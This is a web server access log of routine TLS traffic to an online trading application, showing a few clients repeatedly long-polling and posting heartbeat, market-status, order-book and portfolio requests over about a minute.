[09/Jan/2026:09:41:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923170076 HTTP/1.1" -
[09/Jan/2026:09:41:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923158192 HTTP/1.1" -
[09/Jan/2026:09:41:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923158271 HTTP/1.1" -
[09/Jan/2026:09:41:29 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923158332 HTTP/1.1" -
[09/Jan/2026:09:41:29 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:29 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:41:29 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1180
[09/Jan/2026:09:41:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:41:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1331
[09/Jan/2026:09:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923142051 HTTP/1.1" -
[09/Jan/2026:09:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923175121 HTTP/1.1" -
[09/Jan/2026:09:41:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923163389 HTTP/1.1" -
[09/Jan/2026:09:41:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923163314 HTTP/1.1" -
[09/Jan/2026:09:41:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923163344 HTTP/1.1" -
[09/Jan/2026:09:41:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923165060 HTTP/1.1" -
[09/Jan/2026:09:41:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923180141 HTTP/1.1" -
[09/Jan/2026:09:41:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923168516 HTTP/1.1" -
[09/Jan/2026:09:41:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923168354 HTTP/1.1" -
[09/Jan/2026:09:41:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923168598 HTTP/1.1" -
[09/Jan/2026:09:41:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923185214 HTTP/1.1" -
[09/Jan/2026:09:41:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923173652 HTTP/1.1" -
[09/Jan/2026:09:41:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923171048 HTTP/1.1" -
[09/Jan/2026:09:41:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923173404 HTTP/1.1" -
[09/Jan/2026:09:41:44 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923173633 HTTP/1.1" -
[09/Jan/2026:09:41:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923190279 HTTP/1.1" -
[09/Jan/2026:09:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923178782 HTTP/1.1" -
[09/Jan/2026:09:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923177053 HTTP/1.1" -
[09/Jan/2026:09:41:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923178436 HTTP/1.1" -
[09/Jan/2026:09:41:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923178674 HTTP/1.1" -
[09/Jan/2026:09:41:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923195299 HTTP/1.1" -
[09/Jan/2026:09:41:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923183946 HTTP/1.1" -
[09/Jan/2026:09:41:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923183056 HTTP/1.1" -
[09/Jan/2026:09:41:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923183483 HTTP/1.1" -
[09/Jan/2026:09:41:54 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923183714 HTTP/1.1" -
[09/Jan/2026:09:41:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923200363 HTTP/1.1" -
[09/Jan/2026:09:41:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923189008 HTTP/1.1" -
[09/Jan/2026:09:41:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923188511 HTTP/1.1" -
[09/Jan/2026:09:41:59 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923188749 HTTP/1.1" -
[09/Jan/2026:09:42:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923189056 HTTP/1.1" -
[09/Jan/2026:09:42:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923205432 HTTP/1.1" -
[09/Jan/2026:09:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923194061 HTTP/1.1" -
[09/Jan/2026:09:42:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923193558 HTTP/1.1" -
[09/Jan/2026:09:42:04 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923193766 HTTP/1.1" -
[09/Jan/2026:09:42:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923195059 HTTP/1.1" -
[09/Jan/2026:09:42:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923210502 HTTP/1.1" -
[09/Jan/2026:09:42:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923199192 HTTP/1.1" -
[09/Jan/2026:09:42:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923198596 HTTP/1.1" -
[09/Jan/2026:09:42:09 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923198792 HTTP/1.1" -
[09/Jan/2026:09:42:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923200682 HTTP/1.1" -
[09/Jan/2026:09:42:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923215572 HTTP/1.1" -
[09/Jan/2026:09:42:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923204320 HTTP/1.1" -
[09/Jan/2026:09:42:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923203641 HTTP/1.1" -
[09/Jan/2026:09:42:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923203832 HTTP/1.1" -
[09/Jan/2026:09:42:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923205716 HTTP/1.1" -
[09/Jan/2026:09:42:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923220649 HTTP/1.1" -
[09/Jan/2026:09:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923209439 HTTP/1.1" -
[09/Jan/2026:09:42:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923208678 HTTP/1.1" -
[09/Jan/2026:09:42:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923208850 HTTP/1.1" -
[09/Jan/2026:09:42:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923210753 HTTP/1.1" -
